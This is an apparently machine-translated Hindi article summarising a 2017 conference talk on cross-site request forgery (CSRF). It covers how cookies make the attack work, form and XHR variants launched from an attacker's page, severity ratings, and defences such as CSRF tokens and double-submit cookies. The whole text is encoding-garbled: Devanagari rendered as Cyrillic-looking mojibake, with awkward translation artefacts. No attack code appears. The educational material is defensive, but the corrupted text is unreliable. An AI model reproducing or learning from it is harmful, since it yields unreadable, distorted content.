CSRF рднреЗрджреНрдпрддрд╛рдПрдБ рдЕрднреА рднреА рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИрдВ

CSRF (рдХреНрд░реЙрд╕ рд╕рд╛рдЗрдЯ рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдлреЛрд░реНрдЬрд░реА) рд░реВрд╕реА рдореЗрдВ рдЕрдиреБрд╡рд╛рджрд┐рдд рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рдПрдХ рдирдХрд▓реА рд╣реИред рдорд┐рдЦрд╛рдЗрд▓ рдПрдЧреЛрд░реЛрд╡ ( 0ang3el ) рдиреЗ рд╣рд╛рдИрд▓реЛрдб + ++ 2017 рдкрд░ рдЕрдкрдиреА рд░рд┐рдкреЛрд░реНрдЯ рдореЗрдВ рд╕реАрдПрд╕рдЖрд░рдПрдл рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХреА, рдЬрд┐рд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЖрдорддреМрд░ рдкрд░ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рд╡реИрд╕реЗ рднреА рдЙрдиреНрд╣реЗрдВ рдХреИрд╕реЗ рджрд░рдХрд┐рдирд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдФрд░ рдЕрдВрдд рдореЗрдВ, рдЙрдиреНрд╣реЛрдВрдиреЗ рд╕реАрдПрд╕рдЖрд░рдПрдл рд╣рдорд▓реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдмрдЪрд╛рд╡ рдХрд░рдиреЗ рдХреЗ рд╕реБрдЭрд╛рд╡реЛрдВ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдкреЗрд╢ рдХреАред рдЗрд╕ рдкреНрд░рджрд░реНрд╢рди рдХреЗ рдХреИрдЯ рдбрд┐рдХреЛрдбрд┐рдВрдЧ рдХреЗ рддрд╣рддред


рд╕реНрдкреАрдХрд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ: рдорд┐рдЦрд╛рдЗрд▓ рдПрдЧреЛрд░реЛрд╡ рдЗрдирдЧреНрд░рд╛рдо рдорд╛рдЗрдХреНрд░реЛ рдХреНрд▓рд╛рдЙрдб рдореЗрдВ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реБрд░рдХреНрд╖рд╛ рдореЗрдВ рд▓рдЧрд╛ рд╣реБрдЖ рд╣реИред рдЕрдкрдиреЗ рдЦрд╛рд▓реА рд╕рдордп рдореЗрдВ, рдорд┐рдЦрд╛рдЗрд▓ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдФрд░ рдмрдЧ рд╢рд┐рдХрд╛рд░ рдХреА рдЦреЛрдЬ рдореЗрдВ рд▓рдЧрд╛ рд╣реБрдЖ рд╣реИ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдореНрдореЗрд▓рдиреЛрдВ рдореЗрдВ рдмреЛрд▓рддрд╛ рд╣реИред

рдЕрд╕реНрд╡реАрдХрд░рдг: рджреА рдЧрдИ рдЬрд╛рдирдХрд╛рд░реА рд╡рд┐рд╢реБрджреНрдз рд░реВрдк рд╕реЗ рд▓реЗрдЦрдХ рдХреА рд░рд╛рдп рд╣реИ, рд╕рднреА рдореИрдЪ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╣реИрдВред


рдпрд╣ рдХреБрдХреА рд░рд╛рдХреНрд╖рд╕ рдЗрд╕ рддрдереНрдп рдХреЗ рд▓рд┐рдП рджреЛрд╖реА рд╣реИ рдХрд┐ CSRF рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рддрдереНрдп рдпрд╣ рд╣реИ рдХрд┐ рдХрдИ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреБрдХреАрдЬрд╝ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ (рдЗрд╕рдХреЗ рдмрд╛рдж рд╣рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рддреНрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд░реВрд╕реА рдореЗрдВ рдХреБрдХреАрдЬрд╝ рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЙрдЪрд┐рдд рд╕рдордЭрддреЗ рд╣реИрдВ)ред рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЕрдЧрд░ рдЙрд╕рдореЗрдВ рдЗрд╕ рдбреЛрдореЗрди рдФрд░ рдкрде рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреБрдХреАрдЬрд╝ рд╣реИрдВ, рддреЛ рдпрд╣ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрдиреНрд╣реЗрдВ HTTP рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рднреЗрдЬрддрд╛ рд╣реИред

рдХреБрдХреАрдЬрд╝


рдХреБрдХреА рдбреЗрдЯрд╛ рдХрд╛ рдПрдХ рдЫреЛрдЯрд╛ рд╕рд╛ рдЯреБрдХрдбрд╝рд╛ рд╣реИ рдЬреЛ рдПрдХ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдПрдХ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдирд╛рдо рдореЗрдВ рдорд╛рди = "рд╕реЗрдЯ-рдХреБрдХреА" рдирд╛рдордХ HTTP рд╣реЗрдбрд░ рдореЗрдВ рднреЗрдЬрддрд╛ рд╣реИред рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЗрд╕ рдбреЗрдЯрд╛ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЬрдм рднреА рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддрд╛ рд╣реИ, рдбреЗрдЯрд╛ рдХреЗ рдЗрд╕ рдЯреБрдХрдбрд╝реЗ рдХреЛ "рдХреБрдХреА" рдирд╛рдордХ рдПрдХ HTTP рд╣реЗрдбрд░ рдореЗрдВ HTTP рдЕрдиреБрд░реЛрдз рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрддрд╛ рд╣реИред

рдХреБрдХреАрдЬрд╝ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдВ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рдЬреИрд╕реЗ: рд╕рдорд╛рдкреНрддрд┐, рдбреЛрдореЗрди, рд╕реБрд░рдХреНрд╖рд┐рдд, httponly:

рдХреБрдХреАрдЬрд╝ рдкрд╣рд▓реА рдмрд╛рд░ рдиреЗрдЯрд╕реНрдХреЗрдк рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ 1994 рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреАред рдХрдИ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрднреА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рддреНрд░ рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред


рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрд▓рд╛рд╕рд┐рдХ рдХреНрд░реЙрд╕ рд╕рд╛рдЗрдЯ рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдлреЛрд░реНрдЬрд░реА (рд╕реАрдПрд╕рдЖрд░рдПрдл) рд╣рдорд▓рд╛ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред

рдорд╛рди рд▓реЗрдВ рдХрд┐ рд╣рдорд╛рд░реЗ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╡рд┐рддрд░рдг рдкрддреЗ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рд╕рддреНрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдХреАрдЬрд╝ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред

рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ HTML рдлреЙрд░реНрдо рд╣реИ рдЬрд┐рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рднрд░рдирд╛ рд╣реЛрдЧрд╛: рдкрддрд╛ рджрд░реНрдЬ рдХрд░реЗрдВ рдФрд░ "рд╕рд╣реЗрдЬреЗрдВ" рдмрдЯрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред рдирддреАрдЬрддрди, HTML рдлреЙрд░реНрдо рдХреЗ рд╕рд╛рде POST рдЕрдиреБрд░реЛрдз рдмреИрдХрдПрдВрдб рдкрд░ рдЙрдбрд╝ рдЬрд╛рдПрдЧрд╛ред рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рддреНрд░ рдХреБрдХреАрдЬрд╝ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред рдмреИрдХрдПрдВрдб, рдЬрдм рдпрд╣ рдРрд╕рд╛ рдЕрдиреБрд░реЛрдз рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рджреЗрдЦрддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рддрд░рд╣ рдХрд╛ рдПрдХ рд╕рддреНрд░ рд╣реИ, рдпрд╣ рдПрдХ рд╡реИрдз рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдХрд╛ рд╡рд┐рддрд░рдг рдкрддрд╛ рдмрджрд▓рддрд╛ рд╣реИред

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреНрдпрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ?


рд╡рд╣ рдЕрдкрдиреЗ рд╣рдорд▓рд╛рд╡рд░.рдХреЙрдо рд╕рд╛рдЗрдЯ рдкрд░ рдПрдХ HTML рдкреЗрдЬ рд░рдЦ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП HTML рдлреЙрд░реНрдо рдЬрдорд╛ рдХрд░рддрд╛ рд╣реИ ред com ред рдЪреВрдВрдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдХреБрдХреАрдЬрд╝ рдХреЛ HTTP рдЕрдиреБрд░реЛрдз рдореЗрдВ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдмреИрдХрдПрдВрдб рдХреЛ рдмрд╕ рдпрд╣ рд╕рдордЭ рдореЗрдВ рдирд╣реАрдВ рдЖрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЕрдиреБрд░реЛрдз рд╡реИрдз рд╣реИ - рдХреНрдпрд╛ рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдлрд╝реЙрд░реНрдо рднрд░рдиреЗ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реИ, рдпрд╛ рдХреНрдпрд╛ рдпрд╣ CSRF рд╣рдорд▓рд╛ рд╣реИ - рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рд╡рд┐рддрд░рдг рдкрддреЗ рдХреЛ рдмрджрд▓ рджреЗрдЧрд╛ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдлрд╛рдпрджреЗрдордВрдж рд╣реИред ред

XHR API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ CSRF рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ рд╡рд┐рдХрд▓реНрдк рд╣реИред рдЕрдЧрд░ рдХрдИ рдиреЗ HTML рдлреЙрд░реНрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ CSRF рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реБрдирд╛ рд╣реИ, рддреЛ рд╡реЗ рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХрдо рдЬрд╛рдирддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рднреА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред


WithCredentials рд╡рд┐рд╢реЗрд╖рддрд╛ рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ, рдЬреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреБрдХреАрдЬрд╝ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рднреЗрдЬрдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИред рдЪреВрдВрдХрд┐ рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдХрд╛ рдореВрд▓реНрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧ / x-www-form-urlencoded рд╣реИ, рдЗрд╕рд▓рд┐рдП рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХреЛ рдмрд┐рдирд╛ CORS рд╡рд┐рдХрд▓реНрдк рдкреНрд░реАрдлрд╝рд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдХреЗ рднреЗрдЬ рджреЗрдЧрд╛, рдФрд░ рдлрд┐рд░ рд╕реЗ CSRF рд╣рдорд▓рд╛ рдХрд╛рдо рдХрд░реЗрдЧрд╛ред

рдЖрдЗрдП рд╣рдо рдЕрдзрд┐рдХ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рд╣реЛрддрд╛ рд╣реИред


рд╕реНрд░реЛрдд рдбреЗрдЯрд╛:

  • example.com рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЬреЛ CSRF рдХреЗ рд▓рд┐рдП рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ,
  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛,
  • рд╣рдорд▓рд╛рд╡рд░ рдХреА рд╕рд╛рдЗрдЯ, рдЬрд╣рд╛рдБ рдПрдХ csrf-xhr.html рдкреГрд╖реНрда рд╣реИред

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЖрд╡реЗрджрди рдореЗрдВ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ example.com рдкрд░ рд╕реНрдерд┐рдд рд╣реИред рдпрджрд┐ рд╡рд╣ рд╣рдорд▓рд╛рд╡рд░ рдХреА рд╕рд╛рдЗрдЯ рдкрд░ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдПрдХ POST рдЕрдиреБрд░реЛрдз рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рд╡рд┐рддрд░рдг рдкрддрд╛ рдмрджрд▓ рдЬрд╛рдПрдЧрд╛ред рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕рддреНрд░ рдХреБрдХреАрдЬрд╝ рдХреЛ рдЕрдиреБрд░реЛрдз рдореЗрдВ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░реЗрдЧрд╛ рдФрд░ рдмреИрдХрдПрдВрдб рдкрддреЗ рдХреЛ рдмрджрд▓ рджреЗрдЧрд╛ред

CSRF рд╣рдорд▓рд╛ рдЗрддрд┐рд╣рд╛рд╕


рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, CSRF рд╣рдорд▓реЛрдВ рдХреЛ 2001 рд╕реЗ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдм рдЙрдирдХрд╛ рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд▓рдЧрд╛ред 2008-2012 рдХреА рдЕрд╡рдзрд┐ рдореЗрдВ, рдРрд╕реА рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рд╣рд░ рдкрд╣рд▓реА рд╕рд╛рдЗрдЯ рдкрд░ рдереАрдВ, рдЬрд┐рдирдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

  1. рдпреВрдЯреНрдпреВрдм;
  2. рдж рдиреНрдпреВрдпреЙрд░реНрдХ рдЯрд╛рдЗрдореНрд╕;
  3. badoo;
  4. SlideShare;
  5. Vimeo;
  6. Hulu;
  7. рд╕рд┐рдиреЗрдорд╛ рдЦреЛрдЬ;
  8. ...

CSRF рднреЗрджреНрдпрддрд╛рдПрдБ рдХрд┐рддрдиреА рдЧрдВрднреАрд░ рд╣реИрдВ?


рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрд╣ рд╕рдм рдХрдордЬреЛрд░ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреА рдЖрд▓реЛрдЪрдирд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:

  • рдЦрд╛рддрд╛ рдЕрдзрд┐рдЧреНрд░рд╣рдг - рд╣рдорд▓рд╛рд╡рд░ рд╕реАрдПрд╕рдЖрд░рдПрдл рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдИрдореЗрд▓ рдХреЛ рдмрджрд▓рдХрд░ рдкреАрдбрд╝рд┐рдд рдХреЗ рдЦрд╛рддреЗ рдХреЛ рдкрдХрдбрд╝ рд▓реЗрддрд╛ рд╣реИред
  • рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ - рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рдмрдврд╝рддреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд┐ рд╕реАрдПрд╕рдЖрд░рдПрдл рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдЙрдЪреНрдЪ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рддрд╛ рд╣реИред
  • рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди - CSRF рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреИрдирд▓ рдореЗрдВ рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдХрд╛рд░рдг рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрдиред

рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рд╕реАрдПрд╕рдЖрд░рдПрдл рдХреА рдЧрдВрднреАрд░рддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдВрддрд░рд░рд╛рд╖реНрдЯреНрд░реАрдп рд╕реНрддрд░ рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рднреЗрджреНрдпрддрд╛ рд╡рд░реНрдЧреАрдХрд░рдг рдХреНрдпрд╛ рдХрд╣рддреЗ рд╣реИрдВред

OWASP рд╢реАрд░реНрд╖ 10 рдкрд░рд┐рдпреЛрдЬрдирд╛ рдореЗрдВ, рдЬрд┐рд╕рдореЗрдВ рдЖрд╡реЗрджрди рдореЗрдВ 10 рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, 2010 рдореЗрдВ CSRF рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рдкрд╛рдВрдЪрд╡реЗрдВ рд╕реНрдерд╛рди рдкрд░ рдереАрдВред рддрдм рдбреЗрд╡рд▓рдкрд░реНрд╕ рдиреЗ рд╡рд┐рднрд┐рдиреНрди рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд┐рдпрд╛, рдФрд░ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА 2013 рдореЗрдВ рд╕реАрдПрд╕рдЖрд░рдПрдл рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ 8 рд╡реЗрдВ рд╕реНрдерд╛рди рдкрд░ рд▓реЗ рдЬрд╛рдпрд╛ рдЧрдпрд╛ред

CSRF рднреЗрджреНрдпрддрд╛рдУрдВ рдХреЛ 2017 рдХреЗ рд▓рд┐рдП рд╕реВрдЪреА рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЖрдВрдХрдбрд╝реЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рд╡реЗ рдЕрдм рдХреЗрд╡рд▓ 8% рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдкреИрда рдкрд░реАрдХреНрд╖рдг рдореЗрдВ рдкрд╛рдП рдЬрд╛рддреЗ рд╣реИрдВред

рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ, рдореИрдВ рдЗрди рдЖрдБрдХрдбрд╝реЛрдВ рд╕реЗ рд╕рд╣рдордд рдирд╣реАрдВ рд╣реВрдБ, рдХреНрдпреЛрдВрдХрд┐ рд╡рд╕реНрддреБрддрдГ рдкрд┐рдЫрд▓реЗ рджреЛ рд╡рд░реНрд╖реЛрдВ рдореЗрдВ рдореИрдВрдиреЗ рдХрдИ рд╕реАрдПрд╕рдЖрд░рдПрдл рднреЗрджреНрдпрддрд╛рдПрдБ рдкрд╛рдИ рд╣реИрдВред рдЖрдЧреЗ рдореИрдВ рдЖрдкрдХреЛ рдмрддрд╛рдКрдВрдЧрд╛ рдХрд┐ рдореИрдВрдиреЗ рдпрд╣ рдХреИрд╕реЗ рдХрд┐рдпрд╛ред

Bugcrowd VRT ( рд╡рд▓реНрдирд░реЗрдмрд┐рд▓рд┐рдЯреА рд░реЗрдЯрд┐рдВрдЧ рдЯреИрдХреНрд╕реЛрдиреЙрдореА) рд╡рд░реНрдЧреАрдХрд░рдг рдореЗрдВ, рдПрдкреНрд▓рд┐рдХреЗрд╢рди-рд╡рд╛рдЗрдб CSRF рднреЗрджреНрдпрддрд╛ P2 (рдЙрдЪреНрдЪ) рдХреА рдПрдХ рдЧрдВрднреАрд░ рд░реЗрдЯрд┐рдВрдЧ рд╣реИред рдХреЗрд╡рд▓ рдЧрдВрднреАрд░рддрд╛ рдЧрдВрднреАрд░ рд╣реИ, рдпрд╛рдиреА рдпреЗ рдХрд╛рдлреА рдЧрдВрднреАрд░ рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рд╣реИрдВ ред


рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдХрд┐ рдХреМрди рд╕реЗ CSRF рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рдХрд▓реНрдк рдореМрдЬреВрдж рд╣реИрдВ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рдХрд▓реНрдк рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред

1. рд╕реАрдПрд╕рдЖрд░рдПрдл рдЯреЛрдХрди
  • рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рддреНрд░ рдХреЗ рд▓рд┐рдП, рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдФрд░ рдЕрддреНрдпрдзрд┐рдХ рдПрдВрдЯреНрд░реЛрдкрд┐рдХ рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред
  • рдЯреЛрдХрди HTML рдкреЗрдЬ рдХреЗ DOM рдореЗрдВ рдбрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ рдпрд╛ рдПрдкреАрдЖрдИ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • рдХрд┐рд╕реА рднреА рдкрд░рд┐рд╡рд░реНрддрди рд╕реЗ рдЬреБрдбрд╝реЗ рдкреНрд░рддреНрдпреЗрдХ рдЕрдиреБрд░реЛрдз рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЕрдиреБрд░реЛрдз рдХреЗ HTTP рд╣реЗрдбрд░ рдпрд╛ рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдПрдХ рдЯреЛрдХрди рднреЗрдЬрдирд╛ рд╣реЛрдЧрд╛ред
  • рдЪреВрдВрдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдЯреЛрдХрди рдХреЛ рдирд╣реАрдВ рдЬрд╛рдирддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреНрд▓рд╛рд╕рд┐рдХ рд╕реАрдПрд╕рдЖрд░рдПрдл рд╣рдорд▓рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

2. рдбрдмрд▓ рд╕рдмрдорд┐рдЯ рдХреБрдХреА
  • рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рддреНрд░ рдХреЗ рд▓рд┐рдП рдлрд┐рд░ рд╕реЗ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдФрд░ рдЕрддреНрдпрдзрд┐рдХ рдПрдВрдЯреНрд░реЛрдкрд┐рдХ рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдХреБрдХреАрдЬрд╝ рдореЗрдВ рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдФрд░ рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рд╕рдорд╛рди рдорд╛рдиреЛрдВ рдХреЛ рдкрд╛рд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
